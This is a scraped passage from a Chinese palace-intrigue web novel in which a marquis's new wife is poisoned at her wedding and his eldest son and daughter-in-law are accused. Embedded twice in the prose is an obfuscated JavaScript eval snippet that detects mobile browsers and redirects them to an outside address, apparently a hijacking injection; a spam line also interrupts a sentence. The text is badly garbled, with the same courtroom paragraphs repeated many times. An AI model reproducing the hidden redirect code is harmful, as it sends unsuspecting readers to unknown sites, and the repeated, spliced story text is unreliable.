婚礼这日,一大早,府里就来了客,沈家三位叔伯在门外迎客,沈清渊则带着沈清越和沈清宇他们在前厅待客。 春喜这次一点儿也不吝啬,府里各处都挂上红绸贴上喜字,喜庆极了,沈清宇却看得哪哪儿都不顺眼。 他忍不住嘴贱刺沈清渊:“一回生,二回熟,听说大哥当年很快就改口叫娘了,大哥不如教教我们要迈过心里那道坎儿呗。 莫氏过门时沈清渊还不到十岁,在侯府根本没有话语权,沈清宇这话说得好像他生性薄凉,随便对着什么人都能认娘。 沈清宇说完唇角微勾,笑得嘲讽,然而下一刻,沈清渊的巴掌就扇到了他脸上。 沈清渊左右开弓,足足扇了沈清宇六下才停。 沈清渊力气大,沈清宇被扇得整张脸都肿起来,脸上火辣辣的,脑瓜子也嗡嗡的。 过了好一会儿,他才找回自己的声音:“沈清渊,你凭什么打我? 这巴掌挨得莫名其妙,一会儿肯定会被宾客看见,沈清宇气得要死。 沈清渊理了理袖子,眼皮微抬:“三弟不是虚心求教吗,我刚刚就是在教三弟怎么改口啊,怎么,三弟还没学明白? 最后一句,沈清渊问得很轻,却是威压十足。 沈清宇要是还不明白,那就再多挨些巴掌。 沈清宇面皮一紧,连忙捂住脸开口:“我明白了,不用大哥费心了。 等沈清渊去招待客人了,沈清宇才恶狠狠地咬牙。 什么东西,今天过后看他和曹春喜还怎么嚣张! ** 清远侯一大早就带着人去迎亲了。 后院这边,是吴氏和沈金花主要负责招待,春喜守着晚辈的礼数坐在一旁,并不抢功出风头,坐在她旁边的沈清迟更是安静。 没多久,太傅府的大夫人赵氏便和云晚棠一起到了。 侯府没什么体面亲戚,太傅府这个亲家算是今天这些宾客里地位最高的,两人一到,吴氏和沈金花就高兴地迎上去。 和沈金花说的情况不同,赵氏亲亲热**拉着吴氏道喜话家常,对沈清迟这个儿媳妇也多有关心。 “迟儿这孩子乖巧又懂事,如今给我添了个暖心小棉袄,我可高兴了,这两日她和孩子不在家,我都想得不行呢。 赵氏满脸带笑,不知道的还以为她对沈清迟她们娘俩多宝贝似的,沈金花忍不住想翻白眼,又听到赵氏说:“五弟刚被任命为市舶使,贤儿又 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 跟着去翁州历练了,府里最近挺忙的,这一个月多亏了亲家小姑悉心照顾,迟儿才能恢复得这么好,我准备了一家铺子感谢亲家小姑,还请亲家小姑莫要嫌弃。” 沈金花翻到一半的白眼顿时冒出精光。 之前春喜给过她两间铺子,但沈家人硬说是春喜从萧氏留下来的嫁妆里拿的,非要她拿出来,这次赵氏给的铺子她是说什么都不会拿出来的。 这般想着,沈金花脸上堆了笑:“亲家母你真是太客气了,我是迟儿的亲姑母,她娘不在了,我照顾她是应该的,你们最近忙着正事,咱们都是能理解的,虽然迟儿生的是丫头,但你们一点儿没嫌弃,对她的好我都是看在眼里的。” 沈金花改了口,一个劲儿地称赞起太傅府来。 吴氏眼红沈金花得了一间铺子,对赵氏的态度越发殷勤热切。 坐在一旁的沈清迟咬紧唇瓣,脸色有些发白。 这一个月她在太傅府过的是什么样的日子,沈金花再清楚不过,沈金花经常帮着她骂太傅府的人没良心,她心里不自觉把沈金花当成了靠山,可赵氏不过是拿了一间铺子出来,就让沈金花改了口,以后谁会相信她和女儿在太傅府受了苛待? 沈清迟正想得出神,云晚棠温温柔柔的声音传来:“迟儿,怎么不见孩子?” 沈清迟浑身一震,一抬头,就对上云晚棠笑意清浅的脸。 之前她觉得五婶说话温温柔柔,处处都在替自己着想,比娘对自己还要好,如今再看到,却只觉得后背发凉。 沈清迟眼眸微睁,直愣愣地看着云晚棠没有说话,云晚棠也不生气,柔声又问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169793|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一遍。 正和赵氏聊得开心的吴氏听见,顿时皱眉呵斥:“迟儿,你傻愣着做什么,你五婶问你话呢。” 吴氏嗓门儿大,这一吼,赵氏立刻停下交谈看过来,沈清迟回过神,下意识地站起身:“回五婶,孩子太小,吃不了什么东西,早上我喂过奶就让奶娘在屋里看着了,也免得带过来吵到大家。” 云晚棠笑着说:“小孩子吵吵闹闹是正常的,我带了两个孩子很有经验,你把孩子抱来我帮你看着也是可以的。” 吴氏和沈金花立刻附和,不管云晚棠是出于真心还是假意,她愿意亲近沈清迟的孩子都是好事。 沈清迟捏紧绢帕,一时不知该如何拒绝,正僵持着,春喜开口:“待会儿要放鞭炮,惊到孩子就不好了,夫人今日是来做客的,哪有让你帮忙带孩子的道理,不知道的还以为我们侯府连个哄孩子的下人都没有呢。” 春喜说着看了吴氏和沈金花一眼,两人悻悻地闭嘴。 沈清迟松了口气,云晚棠笑着道:“还是阿喜思虑周全。” 很快,清远侯迎亲归来,门口响起鞭炮声。 阿鲤来报后,春喜便和吴氏她们带着一众女客去往前厅观礼。 清远侯心疼杳娘,直接把她从花轿里抱出来,一路抱着她跨过火盆,直入正厅,众人不由得起哄,调侃清远侯老当益壮,娶了比自己年轻十多岁的续弦夫人,日后还能给侯府添丁进口。 听着这些恭维的话,清远侯满面红光,像是又回到年轻时最风光的岁月。 那时他靠着一股子不怕死的劲儿在战场上屡立奇功,大战凯旋,加官进爵,不管走到哪儿都能得到大家的称颂。 进到厅里,清远侯放下杳娘,在司仪的主持下,和杳娘拜堂。 拜完堂,两人一起给吴氏敬茶。 杳娘刚准备伸手去端茶,身子突然晃动,托盘被她打翻,喜茶摔落在地,发出清脆的声响。 众人一惊,下一刻杳娘扯开盖头,露出一张煞白的脸,她抓住清远侯的手,痛苦地开口:“侯爷,好疼,奴家的肚子好疼啊!” 话音刚落,杳娘身下浸出血来。 第296章 孩子不是你的 杳娘流了很多血,很快陷入昏迷之中。 大夫来诊断之后得出的结论是她中了毒,腹中孩子也没了。 婚礼进行不下去了,清远侯第一时间让人报了官,又吩咐下人关闭府门,而后从祠堂取了自己年轻时的佩剑来。 拿着剑重新步入正厅,清远侯面色铁青,浑身都萦绕着杀气。 他把手里的剑拍在茶几上,沉吟着开口:“当年就是这把剑随我征战沙场,它砍过的人头没有一千也有八百,战事结束后,我便将它供在祠堂,此后二十余年都未在碰过,今日有人害我妻儿,我必要幕后真凶血债血偿!” 封爵后,清远侯手中兵权被夺,未再被重用,这些年他活得荒唐又窝囊,但此时此刻,他身上又浮现出了武将的杀伐之气。 在场众人皆是神情一凛。 沈家三位叔伯连忙开口澄清。 “大哥,咱们一家都是靠着你才过上好日子的,你如今能娶续弦再有孩子,我们都是替你高兴的呀。” “就是就是,咱们家里就大哥最有魄力有能耐,大哥的孩子也个顶个都是人才,大哥儿孙绕膝,咱们也能沾光享福,就算脑子被驴踢了也不能做出害人性命之事。” 三人轮番拍着清远侯的马屁,拼了命地把自己摘出去,见他们一直说不到重点,沈清宇忍不住开口:“三位叔伯说得对,没人会做对自己没有好处的事,爹这些年不在朝中,没机会得罪什么人,继娘腹中这个孩子威胁到的只有大哥和大嫂。” 这话一出,满座静寂,众人皆是如梦初醒。 是啊,清远侯不受重用,侯府没有根基,更是没什么家产可分,唯一还值得一争的,就只有这个爵位了。 近年来没什么战事,除了继承祖上传下来的爵位,寻常人哪有机会封侯拜相啊。 清远侯跟沈清渊的父子关系一直不咋地,如今对这位新夫人和她腹中的孩子却是疼爱有加,这位新夫人若真生下儿子,清远侯说不定还真会偏心把爵位传给这个老来子。 可沈清渊如今是御前的红人,前途亦是不可限量,他会为了爵位谋害继娘和未出世的孩子吗? 众人疑惑了一瞬,就把目光投向了春喜。 沈清渊是个聪明人,但曹春喜出身低下,见识浅薄,完全可能头脑一热干出这种蠢事啊。 感受到众人的目光,春喜有点儿无语。 原来她看上去竟然这么蠢的吗? 在众人的注视下,沈清渊走到春喜身边,把她护在身后。 他刚站定, 就听到清远侯冷冰冰的质问:“你有什么好说的?” 沈清渊用看傻子的眼神看着清远侯:“你的问题可以问得更蠢一点儿吗?” 清远侯还没说话,沈清宇先一步跳出来:“大哥,你怎么跟爹说话呢,就算你现在进了御史台,也不能……” 沈清宇话没说完,就被沈清渊用茶杯砸中膝盖。 剧痛传来,沈清宇没出息地跪了下去。 沈清渊居高临下看着他:“我们说话,轮得到你插嘴吗?” 沈清渊出手又快又狠,周身的威压不比清远侯少,反而隐隐有压过清远侯的架势。 沈清宇当众丢了脸,终于闭了嘴,众人也都收敛了目光,免得被沈清渊盯上。 没多久,京兆府尹李明德就带着官差赶到。 他没有急着询问情况查找线索,而是直接来到沈清渊身边:“沈大人断案如神,想必已经知道幕后真凶是谁了吧?” 沈清渊淡淡开口:“不瞒大人,现在大家都怀疑凶手是我。” 李明德:“……”??? 什么玩意儿? 谁是凶手? 李明德怀疑自己的耳朵出了问题,沈清越在这时上前,简单几句说明前因后果。 得知杳娘**,还没了孩子,李明德立刻派人去追查毒物来源。 没多久,一盒吃剩的糕点还有一直照顾杳娘的丫鬟杏儿被送到清远侯面前。 一见到清远侯,杏儿就跪下不住地磕头求饶:“侯爷,这盒糕点是大少夫人派人送来的,奴婢真的不知道里面有毒啊,奴婢若是知道,绝不可能拿给娘子吃的。” 听到这话,沈清宇立刻有了底气,他忍着痛站起来,瞪着沈清渊:“人证物证俱在,大哥还有什么好辩解的?” 不等沈清渊开口,清远侯直接拔剑,直指沈清渊:“滚开!” 清远侯很喜欢杳娘腹中的这个孩子,为了这个孩子他甚至才愿意让杳娘过门,给杳娘一个名分,可今日婚礼,才刚拜完堂,这孩子就被害**。 今天就算是天王老子来了,清远侯也要杀了幕后凶手,才能解心头之恨! 沈清渊挡在春喜面前分毫未动。 沈清宇冷笑一声,阴阳怪气地开口:“大哥,你这些年不争不抢装的可真好啊,所有人都被你骗过去了,曹春喜都下毒害死继娘腹中的孩子了,大哥还要护着她,她做出这种事不会是大哥在背后授意的吧?” 沈清宇刚说完,清远侯就控制不住愤怒提剑刺向沈清渊:“逆子,我杀了你!” 清远侯杀气腾腾,但他毕竟年纪大了,这些年又一直沉迷酒色,早就不是当年在战场上叱咤风云的大将军。 不过两个来回,他手中的剑就被沈清渊踢飞。 不知沈清渊是不是故意的,被踢飞的剑擦着沈清宇的脖子钉在了后面的柱子上。 沈清宇脖子上出现一道血口子,殷红温热的血瞬间涌出。 “啊啊啊,快来人,我受伤了,救命啊!” 沈清宇捂着脖子拼命大喊,全然没有方才指控沈清渊的底气,怕死极了。 李明德立刻让大夫来给他包扎,正要继续深问杏儿,一道柔柔弱弱的声音响起:“爹,您别动怒,继娘腹中的孩子不是您的,您早就被下了绝嗣药,再也不可能有孩子了。” 这话一出,大厅更加安静了,就连沈清宇都像是被掐住脖子的鸡,没了声音。 清远侯呼吸急促,老脸涨红,他恶狠狠地瞪着沈清迟,半晌才开口问:“你刚刚说什么?” 就听到清远侯冷冰冰的质问:“你有什么好说的?” 沈清渊用看傻子的眼神看着清远侯:“你的问题可以问得更蠢一点儿吗?” 清远侯还没说话,沈清宇先一步跳出来:“大哥,你怎么跟爹说话呢,就算你现在进了御史台,也不能……” 沈清宇话没说完,就被沈清渊用茶杯砸中膝盖。 剧痛传来,沈清宇没出息地跪了下去。 沈清渊居高临下看着他:“我们说话,轮得到你插嘴吗?” 沈清渊出手又快又狠,周身的威压不比清远侯少,反而隐隐有压过清远侯的架势。 沈清宇当众丢了脸,终于闭了嘴,众人也都收敛了目光,免得被沈清渊盯上。 没多久,京兆府尹李明德就带着官差赶到。 他没有急着询问情况查找线索,而是直接来到沈清渊身边:“沈大人断案如神,想必已经知道幕后真凶是谁了吧?” 沈清渊淡淡开口:“不瞒大人,现在大家都怀疑凶手是我。” 李明德:“……”??? 什么玩意儿? 谁是凶手? 李明德怀疑自己的耳朵出了问题,沈清越在这时上前,简单几句说明前因后果。 得知杳娘**,还没了孩子,李明德立刻派人去追查毒物来源。 没多久,一盒吃剩的糕点还有一直照顾杳娘的丫鬟杏儿被送到清远侯面前。 一见到清远侯,杏儿就跪下不住地磕头求饶:“侯爷,这盒糕点是大少夫人派人送来的,奴婢真的不知道里面有毒啊,奴婢若是知道,绝不可能拿给娘子吃的。” 听到这话,沈清宇立刻有了底气,他忍着痛站起来,瞪着沈清渊:“人证物证俱在,大哥还有什么好辩解的?” 不等沈清渊开口,清远侯直接拔剑,直指沈清渊:“滚开!” 清远侯很喜欢杳娘腹中的这个孩子,为了这个孩子他甚至才愿意让杳娘过门,给杳娘一个名分,可今日婚礼,才刚拜完堂,这孩子就被害**。 今天就算是天王老子来了,清远侯也要杀了幕后凶手,才能解心头之恨! 沈清渊挡在春喜面前分毫未动。 沈清宇冷笑一声,阴阳怪气地开口:“大哥,你这些年不争不抢装的可真好啊,所有人都被你骗过去了,曹春喜都下毒害死继娘腹中的孩子了,大哥还要护着她,她做出这种事不会是大哥在背后授意的吧?” 沈清宇刚说完,清远侯就控制不住愤怒提剑刺向沈清渊:“逆子,我杀了你!” 清远侯杀气腾腾,但他毕竟年纪大了,这些年又一直沉迷酒色,早就不是当年在战场上叱咤风云的大将军。 不过两个来回,他手中的剑就被沈清渊踢飞。 不知沈清渊是不是故意的,被踢飞的剑擦着沈清宇的脖子钉在了后面的柱子上。 沈清宇脖子上出现一道血口子,殷红温热的血瞬间涌出。 “啊啊啊,快来人,我受伤了,救命啊!” 沈清宇捂着脖子拼命大喊,全然没有方才指控沈清渊的底气,怕死极了。 李明德立刻让大夫来给他包扎,正要继续深问杏儿,一道柔柔弱弱的声音响起:“爹,您别动怒,继娘腹中的孩子不是您的,您早就被下了绝嗣药,再也不可能有孩子了。” 这话一出,大厅更加安静了,就连沈清宇都像是被掐住脖子的鸡,没了声音。 清远侯呼吸急促,老脸涨红,他恶狠狠地瞪着沈清迟,半晌才开口问:“你刚刚说什么?” 就听到清远侯冷冰冰的质问:“你有什么好说的?” 沈清渊用看傻子的眼神看着清远侯:“你的问题可以问得更蠢一点儿吗?” 清远侯还没说话,沈清宇先一步跳出来:“大哥,你怎么跟爹说话呢,就算你现在进了御史台,也不能……” 沈清宇话没说完,就被沈清渊用茶杯砸中膝盖。 剧痛传来,沈清宇没出息地跪了下去。 沈清渊居高临下看着他:“我们说话,轮得到你插嘴吗?” 沈清渊出手又快又狠,周身的威压不比清远侯少,反而隐隐有压过清远侯的架势。 沈清宇当众丢了脸,终于闭了嘴,众人也都收敛了目光,免得被沈清渊盯上。 没多久,京兆府尹李明德就带着官差赶到。 他没有急着询问情况查找线索,而是直接来到沈清渊身边:“沈大人断案如神,想必已经知道幕后真凶是谁了吧?” 沈清渊淡淡开口:“不瞒大人,现在大家都怀疑凶手是我。” 李明德:“……”??? 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什么玩意儿? 谁是凶手? 李明德怀疑自己的耳朵出了问题,沈清越在这时上前,简单几句说明前因后果。 得知杳娘**,还没了孩子,李明德立刻派人去追查毒物来源。 没多久,一盒吃剩的糕点还有一直照顾杳娘的丫鬟杏儿被送到清远侯面前。 一见到清远侯,杏儿就跪下不住地磕头求饶:“侯爷,这盒糕点是大少夫人派人送来的,奴婢真的不知道里面有毒啊,奴婢若是知道,绝不可能拿给娘子吃的。” 听到这话,沈清宇立刻有了底气,他忍着痛站起来,瞪着沈清渊:“人证物证俱在,大哥还有什么好辩解的?” 不等沈清渊开口,清远侯直接拔剑,直指沈清渊:“滚开!” 清远侯很喜欢杳娘腹中的这个孩子,为了这个孩子他甚至才愿意让杳娘过门,给杳娘一个名分,可今日婚礼,才刚拜完堂,这孩子就被害**。 今天就算是天王老子来了,清远侯也要杀了幕后凶手,才能解心头之恨! 沈清渊挡在春喜面前分毫未动。 沈清宇冷笑一声,阴阳怪气地开口:“大哥,你这些年不争不抢装的可真好啊,所有人都被你骗过去了,曹春喜都下毒害死继娘腹中的孩子了,大哥还要护着她,她做出这种事不会是大哥在背后授意的吧?” 沈清宇刚说完,清远侯就控制不住愤怒提剑刺向沈清渊:“逆子,我杀了你!” 清远侯杀气腾腾,但他毕竟年纪大了,这些年又一直沉迷酒色,早就不是当年在战场上叱咤风云的大将军。 不过两个来回,他手中的剑就被沈清渊踢飞。 不知沈清渊是不是故意的,被踢飞的剑擦着沈清宇的脖子钉在了后面的柱子上。 沈清宇脖子上出现一道血口子,殷红温热的血瞬间涌出。 “啊啊啊,快来人,我受伤了,救命啊!” 沈清宇捂着脖子拼命大喊,全然没有方才指控沈清渊的底气,怕死极了。 李明德立刻让大夫来给他包扎,正要继续深问杏儿,一道柔柔弱弱的声音响起:“爹,您别动怒,继娘腹中的孩子不是您的,您早就被下了绝嗣药,再也不可能有孩子了。” 这话一出,大厅更加安静了,就连沈清宇都像是被掐住脖子的鸡,没了声音。 清远侯呼吸急促,老脸涨红,他恶狠狠地瞪着沈清迟,半晌才开口问:“你刚刚说什么?” 就听到清远侯冷冰冰的质问:“你有什么好说的?” 沈清渊用看傻子的眼神看着清远侯:“你的问题可以问得更蠢一点儿吗?” 清远侯还没说话,沈清宇先一步跳出来:“大哥,你怎么跟爹说话呢,就算你现在进了御史台,也不能……” 沈清宇话没说完,就被沈清渊用茶杯砸中膝盖。 剧痛传来,沈清宇没出息地跪了下去。 沈清渊居高临下看着他:“我们说话,轮得到你插嘴吗?” 沈清渊出手又快又狠,周身的威压不比清远侯少,反而隐隐有压过清远侯的架势。 沈清宇当众丢了脸,终于闭了嘴,众人也都收敛了目光,免得被沈清渊盯上。 没多久,京兆府尹李明德就带着官差赶到。 他没有急着询问情况查找线索,而是直接来到沈清渊身边:“沈大人断案如神,想必已经知道幕后真凶是谁了吧?” 沈清渊淡淡开口:“不瞒大人,现在大家都怀疑凶手是我。” 李明德:“……”??? 什么玩意儿? 谁是凶手? 李明德怀疑自己的耳朵出了问题,沈清越在这时上前,简单几句说明前因后果。 得知杳娘**,还没了孩子,李明德立刻派人去追查毒物来源。 没多久,一盒吃剩的糕点还有一直照顾杳娘的丫鬟杏儿被送到清远侯面前。 一见到清远侯,杏儿就跪下不住地磕头求饶:“侯爷,这盒糕点是大少夫人派人送来的,奴婢真的不知道里面有毒啊,奴婢若是知道,绝不可能拿给娘子吃的。” 听到这话,沈清宇立刻有了底气,他忍着痛站起来,瞪着沈清渊:“人证物证俱在,大哥还有什么好辩解的?” 不等沈清渊开口,清远侯直接拔剑,直指沈清渊:“滚开!” 清远侯很喜欢杳娘腹中的这个孩子,为了这个孩子他甚至才愿意让杳娘过门,给杳娘一个名分,可今日婚礼,才刚拜完堂,这孩子就被害**。 今天就算是天王老子来了,清远侯也要杀了幕后凶手,才能解心头之恨! 沈清渊挡在春喜面前分毫未动。 沈清宇冷笑一声,阴阳怪气地开口:“大哥,你这些年不争不抢装的可真好啊,所有人都被你骗过去了,曹春喜都下毒害死继娘腹中的孩子了,大哥还要护着她,她做出这种事不会是大哥在背后授意的吧?” 沈清宇刚说完,清远侯就控制不住愤怒提剑刺向沈清渊:“逆子,我杀了你!” 清远侯杀气腾腾,但他毕竟年纪大了,这些年又一直沉迷酒色,早就不是当年在战场上叱咤风云的大将军。 不过两个来回,他手中的剑就被沈清渊踢飞。 不知沈清渊是不是故意的,被踢飞的剑擦着沈清宇的脖子钉在了后面的柱子上。 沈清宇脖子上出现一道血口子,殷红温热的血瞬间涌出。 “啊啊啊,快来人,我受伤了,救命啊!” 沈清宇捂着脖子拼命大喊,全然没有方才指控沈清渊的底气,怕死极了。 李明德立刻让大夫来给他包扎,正要继续深问杏儿,一道柔柔弱弱的声音响起:“爹,您别动怒,继娘腹中的孩子不是您的,您早就被下了绝嗣药,再也不可能有孩子了。” 这话一出,大厅更加安静了,就连沈清宇都像是被掐住脖子的鸡,没了声音。 清远侯呼吸急促,老脸涨红,他恶狠狠地瞪着沈清迟,半晌才开口问:“你刚刚说什么?” 就听到清远侯冷冰冰的质问:“你有什么好说的?” 沈清渊用看傻子的眼神看着清远侯:“你的问题可以问得更蠢一点儿吗?” 清远侯还没说话,沈清宇先一步跳出来:“大哥,你怎么跟爹说话呢,就算你现在进了御史台,也不能……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169794|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈清宇话没说完,就被沈清渊用茶杯砸中膝盖。 剧痛传来,沈清宇没出息地跪了下去。 沈清渊居高临下看着他:“我们说话,轮得到你插嘴吗?” 沈清渊出手又快又狠,周身的威压不比清远侯少,反而隐隐有压过清远侯的架势。 沈清宇当众丢了脸,终于闭了嘴,众人也都收敛了目光,免得被沈清渊盯上。 没多久,京兆府尹李明德就带着官差赶到。 他没有急着询问情况查找线索,而是直接来到沈清渊身边:“沈大人断案如神,想必已经知道幕后真凶是谁了吧?” 沈清渊淡淡开口:“不瞒大人,现在大家都怀疑凶手是我。” 李明德:“……”??? 什么玩意儿? 谁是凶手? 李明德怀疑自己的耳朵出了问题,沈清越在这时上前,简单几句说明前因后果。 得知杳娘**,还没了孩子,李明德立刻派人去追查毒物来源。 没多久,一盒吃剩的糕点还有一直照顾杳娘的丫鬟杏儿被送到清远侯面前。 一见到清远侯,杏儿就跪下不住地磕头求饶:“侯爷,这盒糕点是大少夫人派人送来的,奴婢真的不知道里面有毒啊,奴婢若是知道,绝不可能拿给娘子吃的。” 听到这话,沈清宇立刻有了底气,他忍着痛站起来,瞪着沈清渊:“人证物证俱在,大哥还有什么好辩解的?” 不等沈清渊开口,清远侯直接拔剑,直指沈清渊:“滚开!” 清远侯很喜欢杳娘腹中的这个孩子,为了这个孩子他甚至才愿意让杳娘过门,给杳娘一个名分,可今日婚礼,才刚拜完堂,这孩子就被害**。 今天就算是天王老子来了,清远侯也要杀了幕后凶手,才能解心头之恨! 沈清渊挡在春喜面前分毫未动。 沈清宇冷笑一声,阴阳怪气地开口:“大哥,你这些年不争不抢装的可真好啊,所有人都被你骗过去了,曹春喜都下毒害死继娘腹中的孩子了,大哥还要护着她,她做出这种事不会是大哥在背后授意的吧?” 沈清宇刚说完,清远侯就控制不住愤怒提剑刺向沈清渊:“逆子,我杀了你!” 清远侯杀气腾腾,但他毕竟年纪大了,这些年又一直沉迷酒色,早就不是当年在战场上叱咤风云的大将军。 不过两个来回,他手中的剑就被沈清渊踢飞。 不知沈清渊是不是故意的,被踢飞的剑擦着沈清宇的脖子钉在了后面的柱子上。 沈清宇脖子上出现一道血口子,殷红温热的血瞬间涌出。 “啊啊啊,快来人,我受伤了,救命啊!” 沈清宇捂着脖子拼命大喊,全然没有方才指控沈清渊的底气,怕死极了。 李明德立刻让大夫来给他包扎,正要继续深问杏儿,一道柔柔弱弱的声音响起:“爹,您别动怒,继娘腹中的孩子不是您的,您早就被下了绝嗣药,再也不可能有孩子了。” 这话一出,大厅更加安静了,就连沈清宇都像是被掐住脖子的鸡,没了声音。 清远侯呼吸急促,老脸涨红,他恶狠狠地瞪着沈清迟,半晌才开口问:“你刚刚说什么?” 就听到清远侯冷冰冰的质问:“你有什么好说的?” 沈清渊用看傻子的眼神看着清远侯:“你的问题可以问得更蠢一点儿吗?” 清远侯还没说话,沈清宇先一步跳出来:“大哥,你怎么跟爹说话呢,就算你现在进了御史台,也不能……” 沈清宇话没说完,就被沈清渊用茶杯砸中膝盖。 剧痛传来,沈清宇没出息地跪了下去。 沈清渊居高临下看着他:“我们说话,轮得到你插嘴吗?” 沈清渊出手又快又狠,周身的威压不比清远侯少,反而隐隐有压过清远侯的架势。 沈清宇当众丢了脸,终于闭了嘴,众人也都收敛了目光,免得被沈清渊盯上。 没多久,京兆府尹李明德就带着官差赶到。 他没有急着询问情况查找线索,而是直接来到沈清渊身边:“沈大人断案如神,想必已经知道幕后真凶是谁了吧?” 沈清渊淡淡开口:“不瞒大人,现在大家都怀疑凶手是我。” 李明德:“……”??? 什么玩意儿? 谁是凶手? 李明德怀疑自己的耳朵出了问题,沈清越在这时上前,简单几句说明前因后果。 得知杳娘**,还没了孩子,李明德立刻派人去追查毒物来源。 没多久,一盒吃剩的糕点还有一直照顾杳娘的丫鬟杏儿被送到清远侯面前。 一见到清远侯,杏儿就跪下不住地磕头求饶:“侯爷,这盒糕点是大少夫人派人送来的,奴婢真的不知道里面有毒啊,奴婢若是知道,绝不可能拿给娘子吃的。” 听到这话,沈清宇立刻有了底气,他忍着痛站起来,瞪着沈清渊:“人证物证俱在,大哥还有什么好辩解的?” 不等沈清渊开口,清远侯直接拔剑,直指沈清渊:“滚开!” 清远侯很喜欢杳娘腹中的这个孩子,为了这个孩子他甚至才愿意让杳娘过门,给杳娘一个名分,可今日婚礼,才刚拜完堂,这孩子就被害**。 今天就算是天王老子来了,清远侯也要杀了幕后凶手,才能解心头之恨! 沈清渊挡在春喜面前分毫未动。 沈清宇冷笑一声,阴阳怪气地开口:“大哥,你这些年不争不抢装的可真好啊,所有人都被你骗过去了,曹春喜都下毒害死继娘腹中的孩子了,大哥还要护着她,她做出这种事不会是大哥在背后授意的吧?” 沈清宇刚说完,清远侯就控制不住愤怒提剑刺向沈清渊:“逆子,我杀了你!” 清远侯杀气腾腾,但他毕竟年纪大了,这些年又一直沉迷酒色,早就不是当年在战场上叱咤风云的大将军。 不过两个来回,他手中的剑就被沈清渊踢飞。 不知沈清渊是不是故意的,被踢飞的剑擦着沈清宇的脖子钉在了后面的柱子上。 沈清宇脖子上出现一道血口子,殷红温热的血瞬间涌出。 “啊啊啊,快来人,我受伤了,救命啊!” 沈清宇捂着脖子拼命大喊,全然没有方才指控沈清渊的底气,怕死极了。 李明德立刻让大夫来给他包扎,正要继续深问杏儿,一道柔柔弱弱的声音响起:“爹,您别动怒,继娘腹中的孩子不是您的,您早就被下了绝嗣药,再也不可能有孩子了。” 这话一出,大厅更加安静了,就连沈清宇都像是被掐住脖子的鸡,没了声音。 清远侯呼吸急促,老脸涨红,他恶狠狠地瞪着沈清迟,半晌才开口问:“你刚刚说什么?” 就听到清远侯冷冰冰的质问:“你有什么好说的?” 沈清渊用看傻子的眼神看着清远侯:“你的问题可以问得更蠢一点儿吗?” 清远侯还没说话,沈清宇先一步跳出来:“大哥,你怎么跟爹说话呢,就算你现在进了御史台,也不能……” 沈清宇话没说完,就被沈清渊用茶杯砸中膝盖。 剧痛传来,沈清宇没出息地跪了下去。 沈清渊居高临下看着他:“我们说话,轮得到你插嘴吗?” 沈清渊出手又快又狠,周身的威压不比清远侯少,反而隐隐有压过清远侯的架势。 沈清宇当众丢了脸,终于闭了嘴,众人也都收敛了目光,免得被沈清渊盯上。 没多久,京兆府尹李明德就带着官差赶到。 他没有急着询问情况查找线索,而是直接来到沈清渊身边:“沈大人断案如神,想必已经知道幕后真凶是谁了吧?” 沈清渊淡淡开口:“不瞒大人,现在大家都怀疑凶手是我。” 李明德:“……”??? 什么玩意儿? 谁是凶手? 李明德怀疑自己的耳朵出了问题,沈清越在这时上前,简单几句说明前因后果。 得知杳娘**,还没了孩子,李明德立刻派人去追查毒物来源。 没多久,一盒吃剩的糕点还有一直照顾杳娘的丫鬟杏儿被送到清远侯面前。 一见到清远侯,杏儿就跪下不住地磕头求饶:“侯爷,这盒糕点是大少夫人派人送来的,奴婢真的不知道里面有毒啊,奴婢若是知道,绝不可能拿给娘子吃的。” 听到这话,沈清宇立刻有了底气,他忍着痛站起来,瞪着沈清渊:“人证物证俱在,大哥还有什么好辩解的?” 不等沈清渊开口,清远侯直接拔剑,直指沈清渊:“滚开!” 清远侯很喜欢杳娘腹中的这个孩子,为了这个孩子他甚至才愿意让杳娘过门,给杳娘一个名分,可今日婚礼,才刚拜完堂,这孩子就被害**。 今天就算是天王老子来了,清远侯也要杀了幕后凶手,才能解心头之恨! 沈清渊挡在春喜面前分毫未动。 沈清宇冷笑一声,阴阳怪气地开口:“大哥,你这些年不争不抢装的可真好啊,所有人都被你骗过去了,曹春喜都下毒害死继娘腹中的孩子了,大哥还要护着她,她做出这种事不会是大哥在背后授意的吧?” 沈清宇刚说完,清远侯就控制不住愤怒提剑刺向沈清渊:“逆子,我杀了你!” 清远侯杀气腾腾,但他毕竟年纪大了,这些年又一直沉迷酒色,早就不是当年在战场上叱咤风云的大将军。 不过两个来回,他手中的剑就被沈清渊踢飞。 不知沈清渊是不是故意的,被踢飞的剑擦着沈清宇的脖子钉在了后面的柱子上。 沈清宇脖子上出现一道血口子,殷红温热的血瞬间涌出。 “啊啊啊,快来人,我受伤了,救命啊!” 沈清宇捂着脖子拼命大喊,全然没有方才指控沈清渊的底气,怕死极了。 李明德立刻让大夫来给他包扎,正要继续深问杏儿,一道柔柔弱弱的声音响起:“爹,您别动怒,继娘腹中的孩子不是您的,您早就被下了绝嗣药,再也不可能有孩子了。” 这话一出,大厅更加安静了,就连沈清宇都像是被掐住脖子的鸡,没了声音。 清远侯呼吸急促,老脸涨红,他恶狠狠地瞪着沈清迟,半晌才开口问:“你刚刚说什么?” 第297章 当场指认 清远侯府的婚礼办到一半,新任侯夫人就被下药毒害流产。 